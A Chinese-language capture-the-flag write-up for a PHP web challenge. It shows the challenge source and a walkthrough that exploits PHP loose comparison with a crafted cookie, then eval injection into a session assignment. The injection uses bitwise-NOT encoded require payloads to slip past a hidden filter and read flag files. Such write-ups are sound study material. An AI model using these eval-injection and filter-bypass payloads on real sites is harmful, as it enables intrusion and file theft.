题目源代码

index.php

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}

function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}

function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

web_shell

<?php
error_reporting(0);
session_start();
//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";
if (!$_SESSION['login'])
    die('<script>location.href=\'./index.php\'</script>');
if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}

解题步骤

审计代码,需要cookie传入一个json, 随便写了个{"secret":123},还得GET传入give_me_shell
然后得到0006464640064064646464006406464064640064006400000000000这是通过haveFun()函数加密过的md5.
haveFun()函数是将flag的md5变为大写后的每一个字符与0xc0做与运算,也就是每一位的ASCII码与11000000做与运算, 前三位都是0,可以得知md5的前三位的ASCII码值肯定是00**, 小于64, 又因为只有大写字母和数字, 那前三位肯定是都是数字,利用PHP弱类型即可。 爆破前三位, 发现传入{"secret":115}时得到webshell文件名。

1.png

审计webshell代码
过滤了很多字符, 最后用的是require+~取反(~是取反,后面是"/flag.txt"取反后的数据)
]=1闭合前面的SESSION的语句, 用?><?=require代替;并且执行require
payload:w3b5HeLLlll123.php?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
得到提示,flag在/flag

2.png

payload:w3b5HeLLlll123.php?code=]=1?><?=require~%d0%99%93%9e%98?>

最后修改:2020 年 06 月 09 日 11 : 05 PM